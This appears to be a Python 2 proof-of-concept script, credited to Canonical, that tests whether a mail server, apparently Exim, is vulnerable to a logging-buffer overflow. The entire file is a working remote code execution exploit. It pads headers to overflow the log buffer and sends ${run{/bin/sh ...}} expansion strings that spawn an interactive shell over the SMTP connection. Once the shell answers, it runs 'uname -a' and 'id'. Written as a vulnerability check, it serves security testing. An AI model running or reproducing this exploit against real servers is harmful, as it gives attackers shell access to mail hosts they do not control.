1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
|
#!/usr/bin/env python
# Copyright 2010, Canonical, Ltd.
# Author: Kees Cook <kees@ubuntu.com>
# License: GPLv2
import socket, sys
HOST = sys.argv[1]
PORT = 25
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(1)
try:
sock.settimeout(10)
sock.connect((HOST, PORT))
except socket.error, msg:
sys.stderr.write("[ERROR] %s\n" % msg[1])
sys.exit(2)
def want(value, cmd=None):
if cmd != None:
sys.stdout.write("%s\n" % (cmd))
sock.send("%s\n" % (cmd))
data = sock.recv(1024)
sys.stdout.write(data)
final = data.splitlines().pop()
if not final.startswith('%d ' % (value)):
sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value))
sys.exit(5)
return data
mail_from = '<root@localhost>'
rcpt_to = '<postmaster@localhost>'
helo = 'example.com'
want(220)
data = want(250, "EHLO %s" % (helo))
ident = data.splitlines()[0].split()
# Extract DNS details from helo response
sending_host = '%s (%s) %s' % (ident[2], helo, ident[3])
want(250, "MAIL FROM:%s" % (mail_from))
want(250, "RCPT TO:%s" % (rcpt_to))
want(354, "DATA")
# want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189
# and minus the logging header...
target = 8189
sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800
Envelope-from: %s
Envelope-to: %s
''' % (mail_from, sending_host, mail_from, rcpt_to))
send = target - sent
count = 0
padding = 3 # because of logging's " " prefix and "\n" suffix
taunt = 'M4iLB0mb'
header = 'MAILbombhdr%04d: '
chunksize = len(header) + 120
amount = send
while amount > chunksize:
prev = amount
amount /= 2
chunksize = prev
chunksize = 100
#print "Chunk size: %d" % (chunksize)
#print "hit enter to continue"
#sys.stdin.readline()
while send > 0:
count += 1
#print "At position %d (%d to go)" % (sent, send)
data = header % (count)
perline = chunksize - padding
data += taunt * chunksize
# Down-regulate
togo = send - padding
if togo > perline:
togo = perline
# Fill hole for easier forward calculations
left = sent % 100
if left != 0:
left = 100 - left
if left < len(header) + (padding * 2):
left += 100
togo = left - padding
data = data[0:togo]
sock.send('%s\n' % (data))
send -= len(data) + padding
sent += len(data) + padding
#print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send)
# This header will expand past the logging buffer
sys.stdout.write("Sending exploit header\n")
sock.send('HeaderX: ')
for j in range(50):
for i in range(3, 13):
sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i)
sock.send("\n");
# Now trigger the "message too large" handler
sys.stdout.write("Sending body to trigger reject\n")
sock.send("\n");
for i in range(700000):
sock.send(taunt * 10 + "\n")
sock.send(".\n")
want(552)
sock.settimeout(1)
trigger = "MAIL FROM:%s\n" % (mail_from)
sys.stdout.write(trigger)
sock.send(trigger)
final = ""
shell = False
hit = False
while True:
try:
data = sock.recv(1024)
except:
break
sys.stdout.write(data)
sys.stdout.flush()
final += data
if '/bin/sh' in final:
shell = True
if shell and not hit:
sock.send("uname -a\n")
sock.send("id\n")
hit = True
sock.close()
if shell:
print "\nSystem is vulnerable"
sys.exit(1)
print "\nSystem appears safe"
sys.exit(0)
|